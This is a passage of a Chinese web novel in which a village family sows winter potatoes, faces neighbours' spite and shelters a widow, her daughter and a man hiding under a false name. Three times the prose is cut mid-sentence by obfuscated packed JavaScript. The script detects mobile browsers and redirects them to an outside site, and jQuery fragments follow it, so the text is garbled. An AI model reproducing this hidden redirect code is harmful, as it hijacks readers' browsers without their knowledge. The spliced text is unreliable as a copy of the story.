“那你们回去后，哥几家再好好商量一下？”乔长田可不想他们哥几个在此间发生争执，启口便是劝离的意思，并将乔冉宏一家“让步”与否的事，变成了他哥几家一同商量。 只哥几家的想法是统一的，这“商量”终走成了“劝说”的味儿。 不过隔了两日，乔冉宏哥几个便又再往乔小遇家里来了，而这回他们还特意请了乔长田到场以作见证。 眼见得两家人交换过地契，乔小遇她几个叔伯才算得说松了口气。 傅娘子依旧冷着眼，待看过那份新的赡养文书后，才轻手将其搁在桌上，对乔小遇唤声道：“去叫你爹过来吧。” 乔小遇笑眯眯地应过，跟着出门去了。 “乔冉安这个脓包，竟纵着你个婆娘管理家事，另还骑到他老爹老娘头上作威作福，回头我可不得好好教训他！” 还未出得院门的乔小遇且听乔大娘对她娘这般出言嘲讽，不由得顿住脚步。好在有乔长田在旁相劝，她奶奶的碎骂声渐跟着弱了下去，乔小遇摇头呢喃：“好在这个家里是由娘做主的。” 如她爹那般性善，或说性软的人来当家，可不知会被人挟令到什么地步。 空阔的田地里，因铺了一层被人砍断的玉米杆子而遍目枯黄…… 乔小遇寻到她爹时，乔冉安便蹲坐在院后那片枯黄的田地里，一个人怔怔出神，就是对他招手紧唤，人也似什么都听不到一般。 乔小遇只得小跑过去…… 隔得近了，她便也看清了乔冉安的神情——欢喜而怔惘。 “爹，您这是怎么了？”乔小遇稍稍低俯下身，问道。 乔冉安这才回过神来，笑着将手中满把的泥巴撒开，并问道：“这地以后是咱家的了？” 敢情她爹这是欣喜得痴了？ 69. 排冬土豆 乔小遇愣了片刻后，却才连忙点头，笑说道：“爹，似乎之前咱们把那片荒地买下来时，我也没见您这么高兴啊……” “这不一样的，小遇。”乔冉安低叹了声，目光往对面的地界处看去。 沉暗的天色下，竹林的绿意仿佛又深了一层。而在其背后，几棵核桃树的枝干光秃秃地伸展着，像是在大声宣告说：“真的入冬了！” 乔小遇渐明白过来乔冉安话音里的意思。 在这件事上，不论叔伯几家如何被动，终究商说出了个结果——看起来，这似乎是一个不错的开始，以后几家的关系当不会如之前那般紧绷了。 她微微一笑，眸中漾着欢喜之色，随她爹的视线看去，缓缓说道：“地边的那片竹林如今也是咱家的了。以后爹不管是织篮子，还是编撮箕，砍竹划篾都会方便许多。” 乔冉安憨笑着点了点头。 …… 天气渐冷，而周遭的空气亦带了一股潮湿感，便如蘸水的棉衣一般，紧紧裹覆在人的身体上，教人挣脱不得。 家里的井水更是碰触不得了。若非兑了开水，人直接把手伸进冷井水里去，手指头便会像被针扎了般疼，所以乔小遇一边忙着烧菜的活，一边还叮嘱了妹妹给两个帮忙洗菜蒸饭的婶婶添热水。 乔刘氏推说不用，乐呵呵地对乔小佩说道：“也是你姐姐细心，可婶婶们这皮糙肉厚的，冰凌天也去河里浆洗衣服呢，没这必要掺热水的，费柴！” “柴烧了再砍嘛，二婶不用想着替我家省。” 乔小佩笑弯了眼，一边往木盆里倒着热水，一边伸手试着水温，继续说道：“我姐说，这大冬天的还总用冷水洗菜洗衣服的话，头晕发烧仅是次要的，若等年纪大些，全身骨头酸疼就划不来了。” “再说你们来帮我家的忙，若我家连这点柴都舍不得用，那可是要被人戳着脑瓜子骂的。”乔小佩眨巴了下眼，话音里转带了几分调笑意味道。 乔刘氏只得作无奈状，冲一旁的乔陈氏摇了摇头。她二人接着低语，只话题自乔小遇体贴人意上转过，变为“你说四哥家这冬土豆能有收成不”的疑问。 不错，此番乔小遇家忙成这般，就是为的排冬土豆种的事。 诚然，过年前后的那段时间，土豆苗免不了被霜凌打过几遭，可乔小遇再三思量过，却还是和爹娘提说了排冬种的建议。 一来，家里的粮食足够，多余得的土豆会在开春后发芽；二来，湾子里临近河边的地带，气温总要高些，后院的这处地皮比荒地要适宜许多，离家近也方便看护；三来，乔小遇和家里人总想着能帮村里人一把是一把。 当乔陈氏听得傅娘子那话里的意思，竟是打算将种出的土豆分给村里人时，那嘴巴张得直接可以塞进一个鸡蛋了。 乔刘氏亦不由得吞咽了口唾沫，皱眉道：“嫂子你家这是图什么呢？家里的粪都被撒了用，来年春里排种挖玉米，你家可怎么办？” “这有什么难的？不过去山里抓几篮松毛，从茅厕里挑几桶粪水来酵着就好了，当初丁小娘子家不就是这么做的么？”傅娘子婉然笑道。 她轻扒了一口饭菜在口中细细嚼着，接着复又补充道：“但这事你们别往外张扬，若到时候收成不好，没能给各家多分些，谁晓得人会不会说我家打肿脸充胖子呢？” “嫂子您想多了，谁会没得这么无聊？”乔刘氏与她弟妹相视一笑，随即道。 话虽如此，但两人在见识到村里人关于乔冉安家换地一事所抱有的恶意性的言论后，也觉得傅娘子有这样的顾虑实属正常。 就提说先前傅娘子拿了半袋荞麦，去村里那如今还养有一头老牛的乔麻子家借牛犁地排种时，人得了荞麦却还说什么犁地可以，排种却不成，他家也有使牛的地方，自家的老牛可不是村里的公用物的话…… 直把傅娘子气得脸色一青！ 说白了，人便打着从乔小遇家这边再讹点粮的主意，傅娘子怎会不懂？只她气凝半瞬，却不想如了乔麻子的意，缓声说道：“既然你家也忙着使牛，那我怎么好意思多借了使几天的？排种我家便用人力吧，左不过多费些时日。” 牛主人家心下直想翻个白眼，但面上却是乐呵呵地把荞麦接了过去。 傅娘子对这事耿耿于怀，回头便主动登了乔长田家的门。而她的本意虽不是想让乔长田为自家做主，只是打听一下朝州府上是否有关于买卖耕牛的新政令出示，但她被乔麻子为难的事还是传了出去。 孰黑孰白，原是最清楚不过的。 可村里人如今都紧巴着那仅剩的两头老牛哩，于是傅娘子反而被人厌说是不识趣，并伙了之前让乔长田出面相撑自家，强逼乔冉宏家换地的事一同发作…… 到底不是那么入耳就是了。 乔刘氏这对妯娌是平日里与傅娘子打交道最为频繁的，可她俩最初也不太敢吱声相帮。 不过，从乔小遇那处打听到开春后乔冉安家要与乔长田家一同买牛的消息后，两人竟直接把“撕烂人的嘴”的那句话给“践行到底”了。 更令人哭笑不得的是，这对妯娌与人动手时，已有大把年纪的乔阿婆竟带着孙子在旁助威：递扫把的递扫把，扔石头的扔石头…… 简直一地鸡毛！ 乔小遇到现在都还记得当时乔长田出面劝和时，乔刘氏那对妯娌不依不挠的情形……可面红耳赤也好，脸色铁青也罢，她家和乔阿婆那几个儿子家的关系确是更亲近了。 这也是乔刘氏二人在乔冉安家忙翻天的当口，主动前来帮忙的原因。 “不知四嫂家使村里人来刨挖土豆回去吃时，不肯借牛排种的乔麻子家好不好意思上门！”乔刘氏想及此处，不禁暗暗发笑。 年节将近，村里人的面上却一派沉寂之色。 拖罗河水愈流愈缓，且水量减少了许多，使得河两边显出片片赤黄色的泥滩来，仿佛袖口处打了几个补丁一般。 但凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924398|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜里的气温低过一层，乔冉安就会大清早地爬起来，跑去自家后院的地里看看土豆苗。 傅娘子对此很是无奈，迷糊着眼嘀咕道：“你说你跑这一趟能有什么用呢？这苗都这么深了，你当它是魔芋刚出芽，为了防止被冰凌冻着，可以往上头覆一层松毛的？” “你且安下心吧。今年的天气只是湿冷了些，就算早上结些冰凌，午饭过后便会化了的。”傅娘子斜瞪了眼乔冉安，低骂过几声后，旋翻身继续睡过。 谁教乔冉安出去一趟后，竟带了满身寒气回来呢？搞得傅娘子捂得热乎乎的被窝一下子就冷了下来…… 偏乔冉安这厮是个“没眼力劲儿”的，方才挨了骂，却一点也不吸取教训，转头便把自己的凉手覆在媳妇儿身上…… 两人因此又起争执，可没过多久，这笑闹声便也停了下来。 不用早早起来煮猪食，且冬日里也没什么农活可干，乔冉安夫妻俩有时竟比乔小佩还要起得慢的。 难得的没有什么压力，乔小遇便也由着他们休息。腊月二十这天，乔小遇照常将饭菜端上桌后，接着打算叫家里人起床，可这时院门却被人叩响了。 这敲门声有些急促，晃得院门上挂着的那块老旧锁一阵响动……乔小遇立时便把一颗心给提了起来！ 此前，乔长田父子俩原想去县上打听一些关于耕牛买卖的消息，可这还未到通平县上呢，父子俩在官道上便被流民追了几程路。 乔长田担心身上所携带的干粮被流民抢光，便带了乔宝树往陆苑的方向折去。不得不说，与外间的纷乱情形相对比，傍水而建的陆苑直可以称作世外桃源。 陆家代族长的儿子陆慎将父子俩安排到了下苑住，并将近来发生在淮水一带的饥荒的情形与乔长田细讲了讲…… 乔长田闻言不禁吞咽了口唾沫，伤神地道：“外头乱成这样，官府大抵都在忙着驱赶流民罢……谁会念着耕牛紧缺的事呢？终归是要再等上一段日子了。” 陆慎皱眉劝了乔长田一句“慎言”后，却也忍不住长叹出声，道：“各地官府行举不一，淮北一带便有开仓放粮的，里正不必觉着心凉。只回去后，你与村里的农户须得知会一声，无事便不要出远门了，当谨守门户为好。” 乔长田带着儿子回到湾子里后，将他在外头的所见所闻都告知了村里人。这无疑令人胆战心惊，尤其对没有住在大村子里的乔小遇一家而言。 人聚在一处，有个照应总是好的。刘菜粉为此便亲自到过乔小遇家，劝说他们先暂时搬到大村里避避风头，若没有住处，自家堆放杂物的那间偏屋可以收拾出来给乔小遇一家住着…… 这种特殊时期，便不论旁人是将乔小遇一家当做是一根将沉未沉的圆木，或是别的什么，都已算得善意。 乔阿婆的几个儿子家也来劝过，只傅娘子却道说自己还要再思量一番。乔刘氏等人只当他家是在顾忌后院外头的那片冬土豆无人照管，但这并不是唯一的原因。 70. 投奔避难 “住在别人家里，总有许多不便之处，且咱们不能每次都偷偷摸摸地回家里来搬粮不是？若有个万一，让人摸到咱家地窖里，将那几块上好的皮毛顺走了，咱们都没有地方哭的。” 傅娘子的顾忌确也在理，可能有什么东西比性命更重要呢？ 不必乔小遇开口说些什么，乔冉安便自动扮上了那个苦口婆心地的劝说人的角色，时常在傅娘子跟前念说起搬家的事……他终究不想再处于孤立无援的境地了。 如此大概磨了十来天，而外间的情势越来越焦灼时，傅娘子只得无奈点头，说过两日就与乔长田家打声招呼，搬过去住。 而在搬走之前，为防有外人闯入家里，乔小遇特地将自家过道门上的那把旧锁与她爹新买来的锁换过，并将旧锁挂在了院门外边，取代门闩。 若有陌生人上门，且瞥得院门是往外锁起来的，而锁孔生锈，当猜想在这家人早已远逃故乡，谁会紧跟着摇呢？ 情形折回当下。 乔小遇十分庆幸炉灶里的火已经熄灭，但心里更多的却是一种忐忑，暗道：“来人应当不是村里的……怎会这般凑巧呢，明天就要搬家了。” 她不敢声张，只蹑手蹑脚地蹲到院墙根下，听着外头的动静。 “瞧着倒不像有人的样子，娘，他家不会已经搬走了吧？”一名女子嗓音干涩地道，旋又低声哄了哄怀里的小孩。 乔小遇紧屏住呼吸，暗道：“竟然还带了小孩，这几人能寻到乔家村来也算是不容易了……” 且听旁边有个妇人沉叹出声，急道：“难道咱们是白跑一趟了？这可怎么办呢？” “或许已经搬走，可他家这锁实在有些古怪。”男人抬起锁扣，沉吟道：“大娘，你们看，这装锁的钻木孔似乎是新凿的，木屑还发着白……即便搬走，那也应该没过多久。不如我们寻村里人问问？” “但就冉安兄弟托人带来的信，他家里已储足了粮食，怎么会好端端地搬走呢？莫非出了什么变故？”妇人不解地道。 “咦，这人唤说冉安兄弟？难道是说我爹？”乔小遇的眸色微怔了怔，而上一息时因被那名男子识出破绽而紧纠作一团的心思竟不自觉地松释下来…… 她踮起脚尖，目光探向院门那处，待看清袁大娘那张熟悉的侧脸后，不禁笑弯了眉眼，一边高扒在那院墙上，一边招手唤道：“大娘，您怎么来了？” 袁大娘闻声下意识地偏侧过头来，接着不由得抚掌欢呼：“哎哟，竟是遇丫头！” 且听乔小遇说让他们稍等，自己回屋里拿钥匙与他们开门的话，袁大娘已忍不住簌簌地落下泪来。她紧挽住女儿的胳膊，欢喜地道：“可算有个落脚的地方了……怜儿，娘不会再让你和咱家的宝贝孙儿受苦了！” 谁能想到当初去投奔女儿的袁大娘，有朝一日竟会携了女儿和“女婿”来向乔冉安家求援呢？ 乔小遇不曾想到……而她且瞧得傅娘子怀抱着袁大娘那小外孙儿的欢喜模样，却愈发觉着袁大娘来乔家村这破湾子里避难的举动经不住深想。 据袁大娘所说，自饥荒蔓延开来后，泗淮城中到处都有流民作乱，借机浑水摸鱼的人便也多了起来，当中情形比通平县好不到哪里去。此前夜中有人蹿进女婿家的木具铺里偷盗银钱，不想还祸害了店小二一条性命！ 这无疑教人惴惴不安。在将店小二的后事料理完毕后，袁大娘便赶忙带着还未出月子的女儿往别处躲离。 但听说去大女儿家的那条官路甚不太平，常有劫掠之事……袁大娘思来想去，竟也只有回清水镇这一条路可走。 然她在镇上的那间铺子早被人砸得破破烂烂，暂无处容身，便想着往拖罗河这湾子处来。到底山重水复，与外间有所隔离，袁大娘以为能在此暂寻个安宁处…… 看着袁大娘一家人那风尘仆仆的模样，乔冉安夫妻俩不禁感叹连连，只犹豫道：“若这种关头我们都不愿扶您一把，那还算什么人呢？但我们原是打算搬进大村子里住的，里正家给腾挪出了间房来……” “不如，我去与乔阿婆家商说一番，让你家也一同搬进大村子里住？”傅娘子的眸光轻落在潘怜儿那道单薄的身体上，接着道：“粮食你不用担心，我家地窖里如今还存着些野鸡肉什么的，正好给怜儿补补身体……你说她这月子都还没有出，便跟着你们四处奔命，真是作孽啊。” 袁大娘的眼睛又被逼红了几分，接着簌簌落下泪来。 “林女婿，你说呢？”袁大娘对旁边的林一征询意见道。 林一的面色略显沉顿，他摇了摇头，皱眉道：“娘，我们已经很打扰傅娘子她们一家了。” “这不算什么的……”傅娘子不明白林一为什么要拒绝，她微张了张口，却才发觉袁大娘和她女婿之间的气氛似乎有些不太对劲…… 两人似乎正在“对峙”，而袁大娘终因心存愧疚而彻底地败下阵来。 “娘子，你家若是要搬，那便尽管搬吧，不必顾念我们。”袁大娘缓坐下身来，疲惫地往后靠去，缓声道：“到时这房子空下，我与怜儿便帮着那你们看家。想来等外间时局稳定了，你们到了回来时，我们便也回镇上去了……” 潘怜儿听着她娘这道稍稍拖长的话音，终不过抿了抿唇。她原以为自己的牙齿早被周遭的湿冷空气给冰凝成了酥软的块块面皮，可没想还坚硬如斯，直陷入了唇肉之中。 到了离开的时候——那之后他们能去何处落脚呢？泗淮到底是回不去了，便只想着风波过后，用攒存着的银钱做点营生，认真过活。 天晓得他们“一家人”究竟在躲什么！ 幸好乔冉安一家是知恩图报的，愿意给他们一个容身之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924399|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所——尽管潘怜儿等人并不想将乔冉安一家牵扯进来。 “你们若不搬进大村子里住，那我家便也不搬了！”傅娘子斜瞪了眼林一，旋便坐下身来。她可算是看出来了，虽说是袁大娘带了一家人过来投奔自家，但林一的意见却带了支配性。 乔冉安没想傅娘子竟会说出这般气话，心下不禁一急，只袁大娘一家在场，他不好得说什么。 “姐姐，你说为什么林姐夫不愿意同咱们一起去大村子里避难呢？”乔小佩悄悄地用胳膊肘捅了捅乔小遇，低声说道：“怜儿姐姐的身子如今正是需要将养的时候，孩子也需要人照顾，这一家子便只有林姐夫一个壮力……由他们自己住在这处，让咱们怎么放心得下？” 乔小遇轻轻摇头，而眉间神色一片紧凝。她探究的视线在林一身上凝落了片刻，暗道：“是了，壮力……林一仅是一个生意人么？而我之前在墙内分明听见林一也称袁氏为大娘，这又是怎么一回事？” 袁大娘一行定是有事瞒着自家的…… 泗淮城中的情形究竟如何纷乱，乔小遇不曾见过，是以她并不打算把流民作乱作为袁大娘一家奔走他乡的理由的全部。 且可见的是，袁大娘他们这一路虽免不了颠沛辛苦，但他们的东西却保存完好……譬如方才进门时，袁大娘与傅娘子相拥而泣时还道说了这么一句苦涩话：“此番若是投奔娘子家不成，我们便只能再就着干粮啃两天了。” 从泗淮至通平，以袁大娘他们的情形怎么也要四五日的时间，而他们所备的干粮却有剩余……当中意味已然明显不过：袁大娘一家在躲难途中并没有遭受什么损失。 林一的身份便如何看，都令人生疑。 只此时傅娘子并未就此深想，只沉声对林一说道：“拖罗河这湾子在许多年前也曾被流民所犯，这并非是它地处偏狭就能避免得了的……虽说摸进来的流民往往是成股的小群，但你带着怜儿她们在村头住，这单户独院的，倘若有个事出突然，你拿什么护住她们？” 随着傅娘子的这道话音落下，站靠在板壁边上的乔小遇姐妹俩亦不由得朝林一的方向定定看来……一家人最担心的便是这个问题了，而乔小遇想知道林一会如何作答。 她微缩了缩瞳孔，棕黄色的眼中情绪涌动，仿佛院门前那条被冬日冷寂气息所笼罩着的河水开始无端涨流，并将河岸两边裸|露出的泥滩迅速覆盖…… “我相公他以前是走镖的，习得了些拳脚功夫傍身……”正当林一神色微凝时，潘怜儿却轻笑着接过了话头，道：“你们且宽几分心，这一路上若非有我相公扶持相依，我们怎能够安然无恙地到回到清水镇来呢。” “从前走镖的么？”得了这样一个解释，乔小遇不禁暗暗倒吸凉气，而她娘却是眼睛一亮，笑说从前竟不曾听袁大娘提起她女婿还有这等本事…… 71. 漏网之鱼 迎上潘怜儿那道感激的目光，林一嘴角轻轻扯动了下，方才与傅娘子拱手说道：“也没什么了不得的，不过骨头能比旁人多抗些力罢了。方才听您说，这伙了入村的多是小股流民？若只三五个数，或许我还能应付得过来。便多了，趁隙去大村子里唤人来帮忙，也应当是来得及的。” “然终究免不了有几分风险”，林一在心底补充了句“比如针对我的”，接着话音郑重地道：“而这种风险不应该让您一家来承担……” “你的考虑已然这般周全了，又是个顶事的，那我家又怎么有搬家的道理？”傅娘子转头朝乔冉安轻点下巴，笑盈盈地一问：“小遇她爹，你说呢？” 乔冉安面上干笑着，一时愣原地，不知该如何回应。 他没有想到袁大娘一家竟会持了这种态度，劝说不通便也罢了，偏还把傅娘子那点原本存放于心的犹豫感给剖放出来。 那现下是要如何，竟道不搬便不搬了？若有流民来犯，大家伙便如灶炉下的稻草般揉作一团，只待人一点火就一齐燃化为灰烬？ 乔冉安心下怎愿意接受这般情形？ 他踟蹰着想要再劝一劝，然不待他出声，对面的林一已然皱眉启口说道：“傅娘子，这事并非想象中的那般简单……我已将怜儿他们拖累，又怎好让你们经受这些？” “可是你们已经到乔家村了。”傅娘子一敛面上笑意，低眸看过怀中小孩儿因睡不安稳而时不时眯睁开眼的情状，接着低声说道：“说起拖累，你对我们心存愧意我能理解，可你凭什么就让怜儿他们与你一同冒这种风险呢？” “难道你觉着这是理所当然的？” 傅娘子摇头轻叹，见林一怔眼欲作解释，她却直接转过了脸去，冷声道：“我且问你，若此番你们避难到乔家村来，赶巧我们一家去外地逃命去了，你打算怎么安置怜儿母子与你丈母娘？” “或是寻个破屋漏庙处将就住下，或是避进深山野林，或是回清水镇上，在还未搬走的四邻家中寄住一段时间？” 林一自没法回答傅娘子的问话，而乔冉安亦才意识到这几句问话的关键点：撇开袁大娘的大女儿家，他们一行自有许多避难处，倒何必往拖罗河这湾子里来？ 袁大娘的举动并非简单的折返回跑，而是回跑出了一段距离……便至乔家村这背倚高山的端点处，他们才停了下来。 “娘子，我不想瞒你，我们确实遇到了一些难处。”袁大娘缓缓吐出一口气来，但见一旁的林一面露急色，却是轻摆了摆手，接着补充道：“不是一些难处，而是很大的难处……” 袁大娘斜眼看向林一，而眼球的边角处敛皱起道道线纹，“我女婿在淮北得罪了一些人，以至于惹祸上身，木具铺的店小二亦是因此而死……我们确是在躲难，而流民并非主要缘由。” 傅娘子一手轻轻拍着背裳里的小孩儿哄他入睡，可不知心疼成什么样了，一边哽咽说道：“您可终于把话挑明了……既这般，您觉着我和小遇她爹还放心让你们单独住在这处么？” 媳妇这话又是什么意思，到底是搬还是不搬？可不知林一大侄儿所惹上的那些祸事是否已经摆脱？ 乔冉安的心绪紧纠作一团，而当他毫无防备地迎上傅娘子的目光时，那道屏在他喉咙口处的气流却直接被唾液混了吞咽下去…… “平常家里的事从来都轮不着我做主，而今却让我劝袁大娘他们留下是么？”乔冉安眼神飘忽至旁处，腹谤道：“我倒是想帮来着，只怕给自家带来祸事……日后若出什么差池，媳妇儿转头怪责到我身上怎么办？” 乔冉安还是那个乔冉安，便与当初乔长田摔断腿时，他心想着帮人挖土豆却不敢出言有任何允诺的情形一模一样。 乔冉安的沉默态度落入林一与潘怜儿眼中，不由得令他们面露难色……但袁大娘是了解乔冉安性子的，是以朝他二人投来安慰的眸色。 “怜儿你们别多心，小遇她爹就是这么个人。”傅娘子神色略显僵硬地笑了笑，旋又跟着问道：“只我还要多问一句，林一惹上的那件祸事，当真是躲到我们村便能避开了的么？” 闻言，乔冉安心头当真是七上八下。他感念媳妇儿有此一问，没想如傅娘子这般刀子嘴豆腐心的人，待人诚挚之余，行事不再似之前那般过于毛躁了，也能考虑到家里人的处境。 乔小遇姐妹俩也怔眼朝袁大娘等人看来…… “这……”袁大娘终究是不知该怎么回应了，她抿了抿自己皲裂的嘴唇，定眼朝林一看去。 此时的袁大娘，心下情绪翻涌，真不知她方才与傅娘子一家所说的那些真假掺半的话是否得宜了。 林一得罪了人的事自是真的，但问题是，在场的林一并不是真的林一，而是她那位憨实悯人的女婿从路边救回来的一个“行乞”，名唤薛震…… 祸事的根源在于薛震，令她那小外孙刚刚出世便死了父亲的人是薛震，令她的女儿无故丧偶，月子期间四处流离的人是薛震，令店小二无端丧命的人也是薛震…… 说什么流民侵扰，来人亮着家伙，那般凶神恶煞的模样，直与恶匪无异！可袁大娘她们母女俩能去怪责谁呢？ 谁能想象，那几条运送防治牛疫的关键药材的大船之所以翻沉乃是人力所为？谁能料想，如夜色般弥罩在淮水上方的那张大网下竟会有薛震那么一条漏网之鱼？ 诚然，因捕一条漏网之鱼，木具铺中一夜抬出了两口棺材……可若非薛震，袁大娘他们在泗淮所居住的那座四四方方的小院的门槛怕是早被流民踏破了；若非薛震，他们也绝不可能毫发无伤地赶到乔冉安家来。 可关于傅娘子的发问，他们该怎么回答呢？ 其实回不回答都一样…… 终究是存在风险的。既说避难，若无难需避，无祸需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924400|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲，他们何必跑到乔家村来，将身家托付给与自己没什么亲戚关系的乔冉安一家？ 既然是一样的，那便没有回答的必要了。 见林一亦是一阵默然，傅娘子的面色终于沉凝下来，问道：“大侄儿究竟是惹到了什么厉害人物？” “总不是一方恶霸……”乔小遇清亮的话音直将场间拥压至一处的气氛打破开来。她偏侧过头，对怔懵住了脑子的妹妹安抚性地笑了笑，才将视线停落在林一身上。 “比起问林姐夫所惹上的那场祸事能否避开，不如谈说下怎样才能尽力避开。之前我在院墙脚下，便听得林姐夫对大娘的称呼——并不是一声亲切的‘娘’。” 乔小遇这话声便如空中飘飞四散的尘埃一般，因遇大雨滂沱，于是被雨点附加了重量直往下坠，便使地面上那些颗粒较大的泥团也被这股力道冲散开来，混着雨水成为一滩浑浊的泥浆！ 乔冉安夫妻俩此时的状态便与那滩泥浆无异！ 他们原以为袁大娘的言辞有不尽之处，譬如林一究竟惹的什么祸事，而现下看来，袁大娘的话除了有不尽之处，亦有所隐瞒。 “这么说来，小虎的爹不是你？”傅娘子低眸看了眼怀中的小孩儿，旋又将视线掠向潘怜儿的方向…… 潘怜儿咬了咬唇，方才颔首说道：“为了避人耳目，这一路走来，我们……” “可是你们已经到乔家村了不是么？”傅娘子再次谈及这话，喃声道：“这还有什么好隐瞒的呢？” 乔小遇接言道：“我爹娘不是那种硬心肠的人，总不会对你们不管不顾的。只是林姐夫和怜儿姐姐，之后住在乔家村的日子里，你们打算以一套什么样的说辞来应对村里人的疑问呢？” “这……”潘怜儿微张了张口，不自觉地将眸光轻划至林一那道宽阔的背影上，但她很快便又抽离了去。 林一的神情亦不由得沉凝住，半晌后他才呢喃出声：“我答应过林老板，要好好照顾怜儿他们母子俩，还有袁大娘……我原想着等避过这一阵风头后，便尽早抽身遁离。” 抽身遁离么？ 潘怜儿听他如此说，一双肩臂仿佛泄了其中劲道般彻底地瘫松下来……相处了这一路，潘怜儿早已对薛震的想法有所预料，可不知为何，当薛震亲自开口说这话时，她心头却是五味陈杂。 “既一路扶持走过，便没有轻易舍离的道理。原来的林姐夫想来已经不在了，所以林一的名字已不能再用……” 乔小遇几不可闻地轻叹了声，“换个身份，才能安然地在这偏狭处落脚生根。即便日后你们要连根拔走，也不会在乔家村留下多余的痕迹。” 在乔小遇看来，这根须便是曾经沾上过乔家村的泥土，但往拖罗河里涮洗过一回，那泥迹就没了…… 如有一天，潘怜儿一行趟过院前的那条河水，便与高山下的这个小村庄没了多大干系。 72. 盖房再嫁 乔小遇一家便知袁大娘等人有所隐瞒，但关于那场祸事的细节处，他们始终不曾主动提说起。 便如泥地里所种的萝卜一般，农户们为了使萝卜能长得大些，在其生长过程中会主动将一些幼黄的萝卜拔除……萝卜之间被隔出了距离，等冬日里收取时便不会有根茎互相交缠作一处的情形出现。 谁愿意无端地被牵扯进一些事情里呢？很多时候，不知情才是最好的保护伞。 为免闲言碎语，薛震改名为傅震，并以傅娘子的远房侄儿的身份在乔家村住了下来。 而袁大娘曾在清水镇上开过裁缝铺子，村里人对她是眼熟的，只没想她一个原本去二女儿家逃难的人竟会辗转到乔家村这山旮旯地来，而途中还死了女婿…… 村里人背地里说起乔小遇家的闲话，都道他们大抵是前世里欠了人家许多债，而今人便找上门来了。家里横添四张嘴，其中还有个坐月子的妇人，便不论如何看，乔小遇家的日子都是难过的。 乔阿婆寻了些孙儿们穿过的旧衣来与袁大娘，道说做几条屎布围裙什么的用，可袁大娘却推拒不受，笑道：“我知阿婆您是好意，可眼下天气还冻着，您留着这些旧衣给您的小孙子补个外褂也是好的呀。您要是没精力，我倒可帮着您做，只消您别嫌弃就好。” “您瞧，这些都是我家小虎出生前我给他做的衣裳……这一路虽然少不了奔波辛苦，但幸好这些东西都带着过来了。”袁大娘将床头的一个包袱打开与乔阿婆看，笑着叹说道。 “哎哟，小虎怎么会有你这么个能打会算的外婆呢？” 乔阿婆没想袁大娘竟这般上心，她低眼瞥过自个儿手上拿着的那几件已不知打过多少补丁的旧衣，那张原就长了几个老年斑的土黄色面皮确显得愈发沉暗了。 “你说我这……原想帮你们一把，却也没什么地方好使力的。”乔阿婆干笑了笑道。 什么地方该使力与什么地方能使力终归是存在差别的。 便不必多想，乔阿婆与几个儿子家也知如今乔冉安家最缺的就是粮食，可他们却没有多余的粮食能拿出来接济……这不，左右拼凑得一些旧布，乔阿婆便赶紧送来，想着能抵得一些用处也能教他们心安些。 至于搬家的事……倒不知乔小遇一家怎么就偃旗息鼓了。 可见的是，在袁大娘一行来投奔乔小遇家后，刘菜粉便不曾主动来劝乔冉安他们搬去她家偏屋避难了。其中缘由不难猜想：倒有谁家愿意在这大冬天没农活做的日子里养几个闲人呢？ 乔小遇家有闲钱这一点，村里人确定的，刘菜粉亦是如此。所以即便乔小遇一家搬去大村子里住，当不用四邻里接济什么，乔长田一家也愿意帮人一把，可若是乔小遇家背后还拖上几个“讨债”的，这事就另当别论了。 之前傅娘子不见刘菜粉前来催促，心下渐已有了几分谱气，但她只得紧抑下抱怨的情绪，亲自登过乔长田家的门，告知乔宝树她家已不打算搬过来了。 为什么是告知乔宝树呢？因为傅娘子不曾遇到乔长田夫妻俩，便只得将自家这突然变更的决定请乔宝树转告他爹娘。 为什么没有遇到乔长田夫妻俩呢？原因想了也是多添烦扰。只傅娘子但回想起乔宝树那双直溢满了失望与纠结之色的眸子，便觉着心口处一阵发堵。 乔长田家都是这种态度，别人家就更没有提说的必要了。 “各家都有各家的难处，娘若是现在就去把咱家的地窖打开，并请了整村的人来围看，大家伙无论与咱家亲疏如何，便都会把心底的疑虑打消去的……所以您不必为此介怀。”乔小遇当时这般对傅娘子劝说道。 闻言，傅娘子终于敛了几分愁容，气笑道：“你这孩子尽说什么糊涂话？开地窖显摆是么？” 傅娘子到底有所释怀，旋将心思转到如何安置袁大娘一行的事上来。 这段时日，家里的小糯米团子是与傅娘子、袁大娘挤作一处歇息的，乔冉安和傅震两个大男人则睡在灶炉边的小床上，便为了给潘怜儿母子俩腾出一张床来。且潘怜儿刚死了丈夫，而傅震住在她家中，只怕日子久了，村里会冒出些流言蜚语…… 总有些尴尬之处，而这情形便仅是再支一张床在偏屋楼板上就能化解的么？ 